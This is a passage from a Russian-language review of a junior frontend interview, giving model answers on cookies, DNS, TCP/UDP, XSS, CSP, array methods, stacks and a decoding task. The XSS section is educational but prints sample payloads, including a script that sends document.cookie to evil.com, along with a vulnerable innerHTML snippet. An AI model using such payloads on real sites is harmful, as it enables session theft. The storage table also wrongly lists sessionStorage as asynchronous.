Важно: отключение CORS в браузере или использование * в продакшене — антипаттерн, создающий уязвимости безопасности. CORS существует для защиты пользователей, и «обходить» его нужно правильно — через настройку сервера.

Вопрос 17. Что такое куки? Какие хранилища в браузере знаете? Чем они отличаются?

Таймкод: 00:20:04

Ответ собеседника: Неполный. Куки — это хранилище в браузере. Знает три типа: cookies, localStorage, sessionStorage. localStorage — 5 Мб, чисто фронтендовское, сервер не имеет доступа. Cookies — ограничены по размеру (~4Кб), сервер имеет доступ, хранятся JWT-токены. Не знает флаги куки подробно, знает только HttpOnly.

Правильный ответ:

Кандидат верно описал основные хранилища, но ответ неполный — особенно в части флагов куки и дополнительных типов хранилищ.

Cookie — подробнее:

Cookie — небольшой фрагмент данных, который сервер отправляет браузеру через заголовок Set-Cookie, и браузер автоматически прикрепляет к каждому последующему запросу к этому домену через заголовок Cookie.

Сервер → Браузер:
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

Браузер → Сервер (автоматически):
Cookie: session_id=abc123

Флаги Cookie (важно знать все):

HttpOnly — запрещает доступ к cookie через JavaScript (document.cookie). Защищает от XSS-атак, при которых злоумышленник пытается украсть токен.

Secure — cookie отправляется только по HTTPS. Защищает от перехвата по незашифрованному соединению.

SameSite — контролирует отправку cookie при кросс-доменных запросах:

  • Strict — никогда не отправлять при кросс-доменном запросе
  • Lax — отправлять только при навигации (ссылка), не при AJAX/fetch
  • None — всегда отправлять (требует Secure)

Domain — определяет, к каким доменам применимо cookie. Если не указан — только к текущему домену.

Path — определяет путь, для которого действует cookie.

Expires / Max-Age — время жизни cookie. Без них — session cookie (удаляется при закрытии браузера).

Сравнение хранилищ браузера:

СвойствоCookielocalStoragesessionStorageIndexedDB
Размер~4 Кб~5-10 Мб~5-10 МбОграничен диском
Доступ сервераДа (авто)НетНетНет
Доступ JSДа (без HttpOnly)ДаДаДа
Время жизниНастраиваемоеБессрочноСессия (вкладка)Бессрочно
Отправка с запросомАвтоматическиНетНетНет
АсинхронностьСинхронноСинхронноАсинхронноАсинхронно
Тип данныхСтрокаСтрокаСтрокаЛюбые объекты

Когда что использовать:

Cookie:

  • Аутентификационные токены (с флагами HttpOnly + Secure + SameSite)
  • Отслеживание сессии
  • CSRF-токены

localStorage:

  • Настройки пользователя (тема, язык)
  • Кэширование данных
  • Данные, которые должны сохраняться между сессиями

sessionStorage:

  • Временные данные формы
  • Состояние вкладки
  • Данные, которые должны очищаться при закрытии вкладки

IndexedDB:

  • Большие объёмы структурированных данных
  • Офлайн-приложения (PWA)
  • Кэширование для сложных запросов

Пример работы с cookie в Go:

// Установка cookie
func setCookie(c *gin.Context) {
c.SetCookie(
"session_token", // name
"jwt_token_here", // value
3600, // maxAge (секунды)
"/", // path
"example.com", // domain
true, // secure (HTTPS only)
true, // httpOnly
)
c.JSON(200, gin.H{"status": "cookie set"})
}

// Чтение cookie
func getCookie(c *gin.Context) {
token, err := c.Cookie("session_token")
if err != nil {
c.JSON(401, gin.H{"error": "no cookie"})
return
}
c.JSON(200, gin.H{"token": token})
}

// Удаление cookie
func deleteCookie(c *gin.Context) {
c.SetCookie("session_token", "", -1, "/", "example.com", true, true)
c.JSON(200, gin.H{"status": "cookie deleted"})
}

Безопасность — важно:

  • Никогда не храните JWT в localStorage без крайней необходимости — он доступен через JavaScript и уязвим к XSS.
  • HttpOnly cookie — предпочтительный способ хранения токенов аутентификации.
  • CSRF-защита — при использовании cookie обязательно используйте SameSite и/или CSRF-токены.

Вопрос 18. Что такое куки? Какие хранилища в браузере знаете? Чем они отличаются?

Таймкод: 00:20:07

Ответ собеседника: Неполный. Куки — это хранилище браузера. Также знает sessionStorage и localStorage. localStorage — 5 Мб, чисто фронтендовское, сервер не имеет доступа. Куки — ограничены по размеру, сервер имеет доступ, хранятся JWT-токены. Не знает другие флаги куки.

Правильный ответ:

Вопрос полностью дублирует предыдущий (Вопрос 17). Подробный ответ уже дан выше с описанием всех флагов cookie (HttpOnly, Secure, SameSite, Domain, Path, Expires), сравнительной таблицей хранилищ и примерами кода на Go.

Вопрос 19. Что такое DNS и зачем он нужен?

Таймкод: 00:21:52

Ответ собеседника: Правильный. Domain Name System — система, которая хранит соответствие между IP-адресами и доменными именами на серверах.

Правильный ответ:

Ответ правильный по сути, но для более полного ответа стоит раскрыть тему глубже.

DNS (Domain Name System) — распределённая система преобразования доменных имён в IP-адреса. Работает как «телефонная книга интернета»: вместо того чтобы запоминать 93.184.216.34, мы вводим example.com.

Зачем нужен DNS:

Любое сетевое взаимодействие происходит по IP-адресам. Без DNS пользователям пришлось бы запоминать числовые адреса каждого сайта, а при смене сервера (а значит и IP) — все пользователи потеряли бы доступ.

Как работает резолвинг DNS:

Пользователь вводит example.com


┌──────────────────┐
│ Браузер │ ← Проверяет кеш браузера
│ (DNS Cache) │
└────────┬─────────┘
│ Не найдено

┌──────────────────┐
│ OS Cache │ ← Проверяет кеш операционной системы
│ (/etc/hosts) │
└────────┬─────────┘
│ Не найдено

┌──────────────────┐
│ Recursive │ ← DNS-резолвер провайдера (8.8.8.8, 1.1.1.1)
│ Resolver │
└────────┬─────────┘


┌──────────────────┐
│ Root Server │ ← Корневые серверы (13 групп по всему миру)
│ (.) │ Говорят: «ищи .com у TLD-сервера»
└────────┬─────────┘


┌──────────────────┐
│ TLD Server │ ← Сервер домена верхнего уровня (.com, .ru)
│ (.com) │ Говорят: «example.com у NS ns1.example.com»
└────────┬─────────┘


┌──────────────────┐
│ Authoritative │ ← Авторитативный сервер домена
│ Name Server │ Возвращает IP: 93.184.216.34
└──────────────────┘

Типы DNS-записей:

  • A — домен → IPv4-адрес (example.com → 93.184.216.34)
  • AAAA — домен → IPv6-адрес
  • CNAME — алиас, перенаправление на другой домен (www.example.com → example.com)
  • MX — почтовый сервер для домена
  • NS — авторитативный сервер имён для домена
  • TXT — текстовая информация (SPF, DKIM, верификация)
  • SRV — сервисная запись (указывает хост и порт для сервиса)

DNS-кеширование и TTL:

Каждая DNS-запись имеет TTL (Time To Live) — время в секундах, в течение которого запись может храниться в кеше. Например, TTL=3600 означает что запись кешируется на 1 час.

Практический пример:

# Запрос A-записи
dig example.com A

# Запрос всех записей
dig example.com ANY

# Проверка MX-записей
dig example.com MX

# Использование конкретного DNS-сервера
dig @8.8.8.8 example.com

DNS в контексте разработки:

  • При деплое приложения нужно настроить DNS-записи, чтобы домен указывал на сервер
  • CDN (Cloudflare, AWS CloudFront) используют DNS для маршрутизации к ближайшему серверу
  • Load balancing через DNS (round-robin A-записи)
  • Микросервисы часто используют внутренний DNS для обнаружения сервисов

Вопрос 20. Чем TCP отличается от UDP?

Таймкод: 00:22:12

Ответ собеседния: Неполный. TCP и UDP — транспортный уровень модели OSI. В TCP есть тройное рукопожатие, соединение надёжная. Если соединение разрывается, данные теряются. С UDP не работал, знает только что он существует, не смог объяснить различия подробнее.

Правильный ответ:

Кандидат верно упомянул тройное рукопожатие, но ответ неполный и содержит неточность («если соединение разрывается, данные теряются» — это неверная формулировка, TCP как раз гарантирует доставку).

TCP (Transmission Control Protocol):

Трёхэтапное рукопожатие (Three-way handshake):

Клиент Сервер
| |
|--- SYN ------->| Клиент запрашивает соединение
| |
|<-- SYN-ACK ---| Сервер подтверждает и запрашивает своё
| |
|--- ACK ------->| Клиент подтверждает
| |
|<-- Данные ---->| Соединение установлено

Завершение соединения (Four-way handshake):

Клиент Сервер
| |
|--- FIN ------->| Клиент хочет закрыть
| |
|<-- ACK -------| Сервер подтвердил
|<-- FIN -------| Сервер тоже хочет закрыть
| |
|--- ACK ------->| Клиент подтвердил
| |
Соединение закрыто

Свойства TCP:

  • Надёжная доставка — подтверждение получения (ACK), повторная отправка потерянных пакетов
  • Упорядоченность — пакеты собираются в правильном порядке
  • Управление потоком — отправитель не перегружает получателя
  • Управление перегрузкой — адаптация скорости к состоянию сети
  • Соединение — требует установки соединения перед передачей данных

UDP (User Datagram Protocol):

Свойства UDP:

  • Ненадёжная доставка — нет подтверждений, нет повторной отправки
  • Нет порядка — пакеты могут прийти в любом порядке
  • Нет управления потоком — отправитель не знает о состоянии получателя
  • Бессоединный — не требует установки соединения
  • Минимальный overhead — заголовок UDP всего 8 байт (против 20+ байт у TCP)

Сравнительная таблица:

СвойствоTCPUDP
СоединениеДа (handshake)Нет
НадёжностьГарантированаНет
Порядок доставкиГарантированНе гарантирован
Управление потокомДаНет
Заголовок20-60 байт8 байт
СкоростьМедленнееБыстрее
ИспользованиеHTTP, HTTPS, SSH, FTPDNS, VoIP, стриминг, игры

Когда что использовать:

TCP — когда важна целостность данных: веб-страницы, передача файлов, email, API-запросы.

UDP — когда важна скорость и потеря пакетов критична: видеостриминг, VoIP, онлайн-игры, DNS-запросы, IoT-датчики.

Примеры протоколов:

TCP: UDP:
- HTTP/HTTPS (80/443) - DNS (53)
- SSH (22) - DHCP (67/68)
- FTP (20/21) - TFTP (69)
- SMTP (25) - SNMP (161)
- PostgreSQL (5432) - QUIC (новый, на базе UDP)
- MySQL (3306) - VoIP (RTP)

Важное замечание о QUIC:

Протокол QUIC (на котором основан HTTP/3) построен на UDP, но реализует надёжность и управление потоком на уровне приложения. Это сочетает скорость UDP с надёжностью TCP, плюс решает проблему head-of-line blocking.

UDP в Go — пример:

// UDP сервер
func startUDPServer() {
addr, _ := net.ResolveUDPAddr("udp", ":8080")
conn, _ := net.ListenUDP("udp", addr)
defer conn.Close()

buffer := make([]byte, 1024)
for {
n, clientAddr, _ := conn.ReadFromUDP(buffer)
message := string(buffer[:n])
fmt.Printf("Получено от %s: %s\n", clientAddr, message)

// Ответ
conn.WriteToUDP([]byte("received"), clientAddr)
}
}

// UDP клиент
func sendUDPMessage() {
addr, _ := net.ResolveUDPAddr("udp", "localhost:8080")
conn, _ := net.DialUDP("udp", nil, addr)
defer conn.Close()

conn.Write([]byte("Hello UDP"))

buffer := make([]byte, 1024)
n, _ := conn.Read(buffer)
fmt.Printf("Ответ: %s\n", string(buffer[:n]))
}

Вопрос 21. Что такое XSS?

Таймкод: 00:25:03

Ответ собеседника: Неправильный. Не знает что такое XSS. Слышал что-то про межсайтовые скриптовые атаки, но не смог объяснить.

Правильный ответ:

XSS — одна из базовых веб-уязвимостей, которую должен знать любой разработчик, работающий с веб-приложениями.

XSS (Cross-Site Scripting) — тип атаки, при которой злоумышленник внедряет вредоносный JavaScript-код в страницу, которую видят другие пользователи. Этот код выполняется в браузере жертвы с её правами и доступом к её данным.

Три основных типа XSS:

1. Stored XSS (Хранимая) — самая опасная.

Вредоносный код сохраняется на сервере (в базе данных) и отдаётся каждому пользователю, который загружает страницу.

Пример: комментарий к посту
┌─────────────────────────────────┐
│ Комментарий от злоумышленника: │
│ <script> │
│ fetch('https://evil.com/steal │
│ ?cookie=' + document.cookie)│
│ </script> │
└─────────────────────────────────┘


Сохраняется в БД


Каждый пользователь, открывший
страницу, выполнит этот скрипт

2. Reflected XSS (Отражённая).

Вредоносный код передаётся через URL или параметры запроса и «отражается» в ответе сервера без сохранения.

URL: https://example.com/search?q=<script>alert('XSS')</script>

Сервер отвечает:
<h1>Результаты поиска для: <script>alert('XSS')</script></h1>

3. DOM-based XSS (На основе DOM).

Уязвимость находится в клиентском JavaScript-коде, который небезопасно манипулирует DOM.

// Уязвимый код
const name = window.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Атака:
// https://example.com#<img src=x onerror=alert('XSS')>

Что может сделать злоумышленник через XSS:

  • Украсть сессионные cookie и авторизоваться от имени пользователя
  • Перехватить ввод данных (логины, пароли, платёжные данные)
  • Перенаправить пользователя на фишинговый сайт
  • Изменить содержимое страницы
  • Выполнить действия от имени пользователя (CSRF через XSS)

Как защититься от XSS:

1. Экранирование вывода (Output Escaping) — главная защита.

// Плохо — уязвимо к XSS
element.innerHTML = userInput;

// Хорошо — безопасно
element.textContent = userInput;

2. Content Security Policy (CSP).

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

CSP ограничивает откуда можно загружать скрипты, стили и другие ресурсы.

3. HttpOnly Cookie.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax

Флаг HttpOnly запрещает доступ к cookie через JavaScript, что делает кражу cookie через XSS невозможной.

4. Валидация и санитизация ввода.

import "html"

// Экранирование пользовательского ввода перед выводом
func sanitizeInput(input string) string {
return html.EscapeString(input)
}

5. Использование современных фреймворков.

React, Vue, Angular автоматически экранируют данные при рендеринге через JSX/шаблоны:

// React автоматически экранирует
const Comment = ({ text }) => <div>{text}</div>;

// Опасно — обходит защиту React
const Dangerous = ({ html }) => <div dangerouslySetInnerHTML={{ __html: html }} />;

Пример защиты в Go:

import (
"html/template"
"net/http"
)

// Go автоматически экранирует данные в html/template
func handler(w http.ResponseWriter, r *http.Request) {
userInput := r.URL.Query().Get("name")

tmpl := template.Must(template.New("page").Parse(`
<h1>Hello, {{.}}!</h1>
`))

// Автоматическое экранирование — <script> станет &lt;script&gt;
tmpl.Execute(w, userInput)
}

OWASP XSS Prevention Cheat Sheet — рекомендуется изучить как основной справочник по защите от XSS.

Вопрос 22. Что такое XSS и CSP?

Таймкод: 00:25:05

Ответ собеседника: Неправильный. Про XSS не знает, не слышал термин. Про CSP тоже не знает. Признал что в безопасность не углублялся.

Правильный ответ:

Вопрос дублирует предыдущий (Вопрос 21) с добавлением CSP. Подробный ответ про XSS уже дан выше. Дополним информацией о CSP.

CSP (Content Security Policy) — HTTP-заголовок, который позволяет контролировать какие ресурсы браузер может загружать и выполнять на странице. Это мощный механизм защиты от XSS и других инъекционных атак.

Как работает CSP:

Сервер отправляет заголовок Content-Security-Policy, и браузер блокирует любые ресурсы, не соответствующие политике.

Основные директивы CSP:

Content-Security-Policy:
default-src 'self'; # По умолчанию — только свой домен
script-src 'self'; # Скрипты — только своего домена
style-src 'self' 'unsafe-inline'; # Стили — свой домен + inline
img-src 'self' data: https:; # Изображения — свой домен + data URI + HTTPS
font-src 'self'; # Шрифты — только свой домен
connect-src 'self' https://api.example.com; # AJAX/WebSocket — ограничение
frame-src 'none'; # Запрет iframe
object-src 'none'; # Запрет Flash и других плагинов
base-uri 'self'; # Ограничение для <base>
form-action 'self'; # Формы могут отправляться только на свой домен

Режим отчётов (Report-Only):

Для тестирования политики без блокировки:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Nonce и Hash для inline-скриптов:

Content-Security-Policy: script-src 'nonce-abc123'
<!-- Разрешён — nonce совпадает -->
<script nonce="abc123">
console.log("allowed");
</script>

<!-- Заблокирован — nonce отсутствует -->
<script>
console.log("blocked");
</script>

Настройка CSP в Go:

func CSPMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self'; "+
"style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data: https:; "+
"font-src 'self'; "+
"connect-src 'self' https://api.example.com; "+
"frame-src 'none'; "+
"object-src 'none'")
c.Next()
}
}

Рекомендация для кандидата: базовые знания веб-безопасности (XSS, CSRF, CSP, HTTPS) — обязательны для любого фронтенд-разработчика. Рекомендуется изучить OWASP Top 10 — это список самых критичных уязвимостей веб-приложений.

Вопрос 23. Что такое CSP?

Таймкод: 00:25:35

Ответ собеседника: Неправильный. Не знает что такое CSP. Признал что не углублялся в тему безопасности.

Правильный ответ:

Вопрос полностью дублирует часть предыдущего вопроса (Вопрос 22). Подробный ответ о CSP уже дан выше с описанием директив, примерами заголовков и middleware на Go.

Вопрос 24. Какие методы массива в JavaScript знаете и используете постоянно?

Таймкод: 00:26:15

Ответ собеседника: Неполный. Slice, splice, indexOf, map, filter, reduce. Перечислил базовые методы. Упомянул новые методы toSpliced, toSorted из ES2023, которые не изменяют исходный массив.

Правильный ответ:

Кандидат перечислил основные методы, но ответ можно значительно расширить. Разберём методы по категориям.

Методы, изменяющие исходный массив (mutating):

  • push(...items) — добавляет элементы в конец
  • pop() — удаляет и возвращает последний элемент
  • shift() — удаляет и возвращает первый элемент
  • unshift(...items) — добавляет элементы в начало
  • splice(start, deleteCount, ...items) — удаляет/вставляет элементы
  • sort(compareFn) — сортирует массив
  • reverse() — разворачивает массив
  • fill(value, start, end) — заполняет значением

Методы, НЕ изменяющие исходный массив (non-mutating):

  • slice(start, end) — копирует часть массива
  • concat(...arrays) — объединяет массивы
  • map(fn) — преобразует каждый элемент
  • filter(fn) — фильтрует элементы
  • reduce(fn, initial) — сворачивает в одно значение
  • find(fn) — находит первый подходящий элемент
  • findIndex(fn) — находит индекс первого подходящего элемента
  • some(fn) — true если хотя бы один элемент проходит проверку
  • every(fn) — true если все элементы проходят проверку
  • includes(value) — проверяет наличие элемента
  • indexOf(value) — индекс первого вхождения
  • lastIndexOf(value) — индекс последнего вхождения
  • flat(depth) — «выпрямляет» вложенные массивы
  • flatMap(fn) — map + flat(1)
  • join(separator) — объединяет в строку
  • forEach(fn) — перебор (без возврата значения)

Новые методы ES2023 (immutable) — кандидат верно упомянул:

  • toSorted(compareFn) — как sort, но возвращает новый массив
  • toReversed() — как reverse, но возвращает новый массив
  • toSpliced(start, deleteCount, ...items) — как splice, но возвращает новый массив
  • with(index, value) — возвращает копию с заменённым элементом по индексу
  • findLast(fn) — находит последний подходящий элемент
  • findLastIndex(fn) — индекс последнего подходящего элемента

Примеры практического использования:

const users = [
{ id: 1, name: 'Alice', age: 25, role: 'admin' },
{ id: 2, name: 'Bob', age: 30, role: 'user' },
{ id: 3, name: 'Charlie', age: 35, role: 'admin' },
];

// map — преобразование
const names = users.map(u => u.name);
// ['Alice', 'Bob', 'Charlie']

// filter — фильтрация
const admins = users.filter(u => u.role === 'admin');
// [{ id: 1, ... }, { id: 3, ... }]

// reduce — агрегация
const totalAge = users.reduce((sum, u) => sum + u.age, 0);
// 90

// find — поиск
const bob = users.find(u => u.name === 'Bob');
// { id: 2, name: 'Bob', ... }

// some/every — проверка
const hasAdmin = users.some(u => u.role === 'admin'); // true
const allAdults = users.every(u => u.age >= 18); // true

// flat — выпрямление
const nested = [[1, 2], [3, [4, 5]]];
nested.flat(2); // [1, 2, 3, 4, 5]

// flatMap — map + flat
const sentences = ['Hello world', 'Good morning'];
sentences.flatMap(s => s.split(' '));
// ['Hello', 'world', 'Good', 'morning']

// Цепочка методов
const result = users
.filter(u => u.role === 'admin')
.map(u => u.name)
.sort();
// ['Alice', 'Charlie']

Важные нюансы:

  • sort() без функции сравнения сортирует как строки: [10, 2, 1].sort()[1, 10, 2]. Нужно: .sort((a, b) => a - b).
  • map всегда возвращает массив той же длины, filter — меньше или равной.
  • forEach не прерывается break/return — для раннего выхода используйте for...of или some/every.

Вопрос 25. Что такое стек и очередь? Объясните принцип работы.

Таймкод: 00:27:04

Ответ собеседника: Неполный. Стек — структура данных LIFO (Last In, First Out) — последний пришёл, первый вышел. Аналогия — колода карт или стопка тарелок. Очередь — FIFO (First In, First Out) — первый пришёл, первый вышел. Понимание поверхностное, с подсказками.

Правильный ответ:

Кандидат верно описал базовые принципы, но ответ поверхностный. Разберём тему глубже.

Стек (Stack) — LIFO:

Стек — структура данных, где элементы добавляются и удаляются с одного конца (вершины стека).

Основные операции:

  • push(item) — добавить элемент на вершину
  • pop() — удалить и вернуть элемент с вершины
  • peek() / top() — посмотреть элемент на вершине без удаления
  • isEmpty() — проверить пуст ли стек
  • size() — размер стека

Реализация на Go:

package main

import "fmt"

type Stack[T any] struct {
items []T
}

func NewStack[T any]() *Stack[T] {
return &Stack[T]{}
}

func (s *Stack[T]) Push(item T) {
s.items = append(s.items, item)
}

func (s *Stack[T]) Pop() (T, bool) {
if len(s.items) == 0 {
var zero T
return zero, false
}
item := s.items[len(s.items)-1]
s.items = s.items[:len(s.items)-1]
return item, true
}

func (s *Stack[T]) Peek() (T, bool) {
if len(s.items) == 0 {
var zero T
return zero, false
}
return s.items[len(s.items)-1], true
}

func (s *Stack[T]) IsEmpty() bool {
return len(s.items) == 0
}

func main() {
stack := NewStack[int]()
stack.Push(1)
stack.Push(2)
stack.Push(3)

fmt.Println(stack.Pop()) // 3, true
fmt.Println(stack.Pop()) // 2, true
fmt.Println(stack.Peek()) // 1, true
fmt.Println(stack.Pop()) // 1, true
fmt.Println(stack.IsEmpty()) // true
}

Где используется стек:

  • Вызов функций (call stack) — каждый вызов функции кладётся на стек
  • Отмена действий (undo) в редакторах
  • Проверка сбалансированности скобок
  • Обход дерева в глубину (DFS)
  • Вычисление выражений (обратная польская нотация)
  • История навигации в браузере (кнопка «Назад»)

Очередь (Queue) — FIFO:

Очередь — структура данных, где элементы добавляются с одного конца (хвост) и удаляются с другого (голова).

Основные операции:

  • enqueue(item) — добавить элемент в хвост
  • dequeue() — удалить и вернуть элемент из головы
  • front() — посмотреть элемент в голове
  • isEmpty() — проверить пуста ли очередь

Реализация на Go:

type Queue[T any] struct {
items []T
}

func NewQueue[T any]() *Queue[T] {
return &Queue[T]{}
}

func (q *Queue[T]) Enqueue(item T) {
q.items = append(q.items, item)
}

func (q *Queue[T]) Dequeue() (T, bool) {
if len(q.items) == 0 {
var zero T
return zero, false
}
item := q.items[0]
q.items = q.items[1:]
return item, true
}

func (q *Queue[T]) Front() (T, bool) {
if len(q.items) == 0 {
var zero T
return zero, false
}
return q.items[0], true
}

Где используется очередь:

  • Обработка задач (task queues) — сообщения, запросы
  • Поиск в ширину (BFS) в графах
  • Буферы ввода-вывода
  • Планировщики задач в ОС
  • Очередь печати

Двусторонняя очередь (Deque):

Позволяет добавлять и удалять элементы с обоих концов. Сочетает свойства стека и очереди.

Приоритетная очередь (Priority Queue):

Каждый элемент имеет приоритет. Элемент с наивысшим приоритетом извлекается первым. Реализуется через кучу (heap).

import "container/heap"

// Go предоставляет интерфейс heap.Interface
// для реализации приоритетной очереди

Практический пример — проверка сбалансированности скобок (стек):

func isBalanced(s string) bool {
stack := NewStack[rune]()
pairs := map[rune]rune{
')': '(',
']': '[',
'}': '{',
}

for _, char := range s {
switch char {
case '(', '[', '{':
stack.Push(char)
case ')', ']', '}':
top, ok := stack.Pop()
if !ok || top != pairs[char] {
return false
}
}
}

return stack.IsEmpty()
}

fmt.Println(isBalanced("({[]})")) // true
fmt.Println(isBalanced("({[})")) // false

Вопрос 26. Задача: написать функцию декомпрессии сжатой строки (например, '3[a]2[bc]' -> 'aaabcbc'). Объясните алгоритм решения.

Таймкод: 00:29:28

Ответ собеседника: Неполный. Кандидат начал рассуждать, предложил использовать объект для хранения множителей и значений. Задача решается через стек. Кандидат испытывал затруднения, интервьюер давал подсказки: идти слева направо, зацепиться за закрывающую скобку как триггер, затем двигаться справа налево для извлечения символов и числа. Кандидат не смог самостоятельно реализовать решение.

Правильный ответ:

Это классическая задача на стек, которая проверяет понимание структуры данных и умение работать со строками.

Алгоритм решения:

Идея — использовать стек. Идём по строке слева направо:

  • Встретили цифру — запоминаем число
  • Встретили [ — кладём текущую строку и текущее число в стек, сбрасываем их
  • Встретили ] — извлекаем из стека число и предыдущую строку, повторяем текущую строку указанное число раз и присоединяем к предыдущей
  • Встретили букву — добавляем к текущей строке

Реализация на Go:

package main

import (
"fmt"
"strconv"
"strings"
)

func decodeString(s string) string {
type stackItem struct {
str string
count int
}

stack := []stackItem{}
currentStr := ""
currentNum := 0

for _, ch := range s {
switch {
case ch >= '0' && ch <= '9':
// Собираем число (может быть многозначным)
digit, _ := strconv.Atoi(string(ch))
currentNum = currentNum*10 + digit

case ch == '[':
// Кладём текущую строку и число в стек, сбрасываем
stack = append(stack, stackItem{currentStr, currentNum})
currentStr = ""
currentNum = 0

case ch == ']':
// Извлекаем из стека
n := len(stack)
top := stack[n-1]
stack = stack[:n-1]

// Повторяем текущую строку count раз
// и присоединяем к строке из стека
currentStr = top.str + strings.Repeat(currentStr, top.count)

default:
// Обычная буква — добавляем к текущей строке
currentStr += string(ch)
}
}

return currentStr
}

func main() {
fmt.Println(decodeString("3[a]2[bc]")) // "aaabcbc"
fmt.Println(decodeString("3[a2[c]]")) // "accaccacc"
fmt.Println(decodeString("2[abc]3[cd]ef")) // "abcabccdcdcdef"
fmt.Println(decodeString("10[a]")) // "aaaaaaaaaa"
}

Пошаговый разбор для 3[a2[c]]:

Шаг Символ currentNum currentStr Стек
─────────────────────────────────────────────
1 '3' 3 "" []
2 '[' 0 "" [{str:"", num:3}]
3 'a' 0 "a" [{str:"", num:3}]
4 '2' 2 "a" [{str:"", num:3}]
5 '[' 0 "" [{str:"", num:3}, {str:"a", num:2}]
6 'c' 0 "c" [{str:"", num:3}, {str:"a", num:2}]
7 ']' 0 "acc" [{str:"", num:3}]
(извлекаем: "a" + "c"*2 = "acc")
8 ']' 0 "accaccacc" []
(извлекаем: "" + "acc"*3 = "accaccacc")

Результат: "accaccacc"

Сложность:

  • Временная: O(n × k), где n — длина входной строки, k — максимальное число повторений
  • Пространственная: O(n) для стека

Альтернативная реализация через два стека:

func decodeStringTwoStacks(s string) string {
numStack := []int{}
strStack := []string{}

currentStr := ""
currentNum := 0

for _, ch := range s {
switch {
case ch >= '0' && ch <= '9':
digit, _ := strconv.Atoi(string(ch))
currentNum = currentNum*10 + digit

case ch == '[':
numStack = append(numStack, currentNum)
strStack = append(strStack, currentStr)
currentNum = 0
currentStr = ""

case ch == ']':
// Извлекаем число и строку
count := numStack[len(numStack)-1]
numStack = numStack[:len(numStack)-1]

prevStr := strStack[len(strStack)-1]
strStack = strStack[:len(strStack)-1]

currentStr = prevStr + strings.Repeat(currentStr, count)

default:
currentStr += string(ch)
}
}

return currentStr
}

Ключевые моменты для собеседования:

  • Стек — естественный выбор для задач с вложенными скобками
  • Нужно аккуратно обрабатывать многозначные числа (10[a], 100[abc])
  • Вложенность может быть произвольной: 2[3[a]b]aaabaaab
  • Задача встречается на LeetCode (#394)

Вопрос 27. Общая оценка интервьюером кандидата и советы по развитию

Таймкод: 01:03:01

Ответ собеседника: Правильный. Интервьюер положительно оценил кандидата: теория на достаточном уровне, софт-скиллы хорошие, задачу решал с подсказками. Оценил как Junior+, но отметил что на текущем рынке без опыта и деплоя трудоустройство затруднено. Рекомендовал больше практиковаться в решении задач (LeetCode), так как это повышает шансы на трудоустройство и уровень зарплаты.

Правильный ответ:

Это завершающий вопрос с обратной связью. Разберём оценку и рекомендации подробно.

Итоговая оценка кандидата:

Сильные стороны:

  • Хорошие софт-скиллы: кандидат умеет рассуждать вслух, не боится признавать пробелы, работает с подсказками
  • Базовая теория на достаточном уровне для Junior+: знает HTTP-методы, хранилища браузера, разницу между аутентификацией и авторизацией
  • Есть мотивация к самообразованию: занимается фронтендом самостоятельно, имеет pet-проекты

Слабые стороны:

  • Пробелы в безопасности: не знает XSS, CSP, CSRF — это критично для фронтенд-разработчика
  • Не смог самостоятельно решить алгоритмическую задачу на стек — базовую структуру данных
  • Поверхностное знание Git: нет опыта работы с ветками и PR
  • Нет деплоя проектов — снижает ценность портфолио
  • Спорные утверждения: «React устаревает» — показывает недостаток понимания индустрии

Конкретные рекомендации для развития:

1. Алгоритмы и структуры данных (приоритет №1).

Регулярная практика на LeetCode — минимум 1-2 задачи в день. Фокус на:

  • Массивы и строки
  • Стек и очередь
  • Связные списки
  • Хеш-таблицы
  • Деревья и графы
  • Бинарный поиск
  • Динамическое программирование (базовый уровень)

2. Веб-безопасность (приоритет №2).

Обязательно изучить:

  • XSS (типы, защита)
  • CSRF (механизм, защита)
  • CSP (директивы, настройка)
  • HTTPS/TLS (как работает)
  • OWASP Top 10

Ресурсы: OWASP Web Security Testing Guide, PortSwigger Web Security Academy (бесплатный курс).

3. Git и DevOps-практики.

Научиться работать с ветками, PR, code review. Деплоить проекты — хотя бы на Vercel, Netlify, Railway или VPS. Наличие живого проекта с рабочим URL значительно повышает шансы на трудоустройство.

4. Углубление в стек.

Выбрать один фреймворк (React или Vue) и изучить его глубоко: внутреннее устройство, оптимизация, паттерны. Добавить TypeScript — это стандарт индустрии.

5. Практические проекты.

Не просто «интернет-магазин на компонентах», а проект с:

  • Реальным бэкендом (можно использовать готовый API)
  • Авторизацией
  • Обработкой ошибок
  • Тестами
  • Деплоем и CI/CD

Вопрос 28. Актуальность Node.js для бэкенда. Сравнение с Java и Go. Советы по выбору стека

Таймкод: 01:13:27

Ответ собеседника: Правильный. Интервьюер отметил что Node.js на бэкенде актуален, но конкуренция очень высокая — многие фронтендеры переходят во фулстек через Node.js. Рекомендовал Java или Go как более перспективные направления для бэкенда с большим количеством вакансий. Также отметил что в 2025-2026 году нельзя быть просто фронтендером — нужно закрывать несколько позиций (fullstack, DevOps, QA automation), чтобы быть конкурентоспособным на рынке.

Правильный ответ:

Это ценная рекомендация от интервьюера. Разберём её подробно.

Node.js для бэкенда — текущее состояние:

Node.js актуален и широко используется (Netflix, Uber, LinkedIn), но рынок перенасыщен junior-специалистами. Многие фронтенд-разработчики осваивают Node.js как путь в fullstack, что создаёт высокую конкуренцию на входе.

Плюсы Node.js:

  • Один язык (JavaScript/TypeScript) на фронтенде и бэкенде
  • Огромная экосистема npm
  • Быстрый старт для веб-приложений
  • Хорош для I/O-интенсивных задач (API, real-time)

Минусы Node.js:

  • Однопоточность — плохо подходит для CPU-интенсивных задач
  • Callback hell (частично решён async/await)
  • Высокая конкуренция среди junior-разработчиков
  • Меньше вакансий на корпоративный бэкенд по сравнению с Java/Go

Java для бэкенда:

Плюсы:

  • Огромный рынок вакансий, особенно в корпоративном секторе (банки, телеком, e-commerce)
  • Зрелая экосистема (Spring Boot, Micronaut, Quarkus)
  • Сильная типизация, надёжность
  • Высокие зарплаты на middle/senior уровнях
  • Стабильность и долгосрочная поддержка

Минусы:

  • Высокий порог входа: нужно знать JVM, паттерны, фреймворки
  • Многословность кода
  • Дольше разработка прототипа

Go для бэкенда:

Плюсы:

